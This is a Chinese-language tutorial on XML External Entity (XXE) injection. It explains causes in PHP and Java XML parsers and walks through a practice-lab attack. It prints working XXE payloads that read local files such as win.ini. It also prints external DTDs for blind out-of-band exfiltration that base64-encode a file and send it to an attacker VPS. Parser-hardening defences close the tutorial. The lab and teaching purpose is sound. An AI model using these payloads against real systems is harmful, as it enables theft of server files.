XXE漏洞是什么?
xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;
XXE漏洞的原理
漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。
- php xxe
php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。
- java xxe
如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。
XXE漏洞的危害
- 远程文件读取
- 命令执行
- 内网端口扫描
- 攻击内网网站
- dos攻击
- ……
XXE漏洞的分类及利用
练习靶场:
GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo
靶机:192.168.77.130
VPS:192.168.77.155
回显xxe:
(1)引用内部实体
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE admin[
<!ENTITY admin SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&admin;</username><password>admin</password></user>
利用Burpsuite抓包
构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件
(2)引用外部实体
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE admin[
<!ENTITY admin SYSTEM "http://192.168.77.155/1.dtd">
]>
<user><username>&admin;</username><password>admin</password></user>
利用burpsuite抓包,并构建payload读取vps机器上的文件内容
1.dtd文件
(3)参数实体
参数实体讲解:
# f.txt
<!ENTITY % msg "<!ENTITY msg2 'test dtd 111'>">
<?xml version="1.0"?>
<!DOCTYPE admin[
<!ENTITY % msg1 SYSTEM "http://192.168.77.155/f.txt">
%msg1;
%msg;
]>
<user><username>&msg2;</username><password>admin</password></user>
类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。
利用靶场验证如下:
非回显型XXE
利用方式1:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://192.168.77.155/2.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>admin</password></user>
192.168.77.155/2.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.77.155/?content=%file;'>">
利用靶场实践如下:
1)构建payload并执行
2)查看vps上的access.log日志:
3)base64在线解码
利用方式2:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aa[
<!ENTITY % remote SYSTEM "http://vps/2.dtd">
%remote;
%all;
%send;
]>
vps/2.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/?content=%file;'>">
XXE漏洞的防御
- 确定使用到的第三方xml解析库版本,及时升级新版本。
- 升级PHP、JDK版本
- 在对xml解析时,禁止外部实体的引用,如
libxml_disable_entity_loader(true)
dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)
dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)
dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
……
另外,可以在菜鸟教程(runoob.com)上学习XML和DTD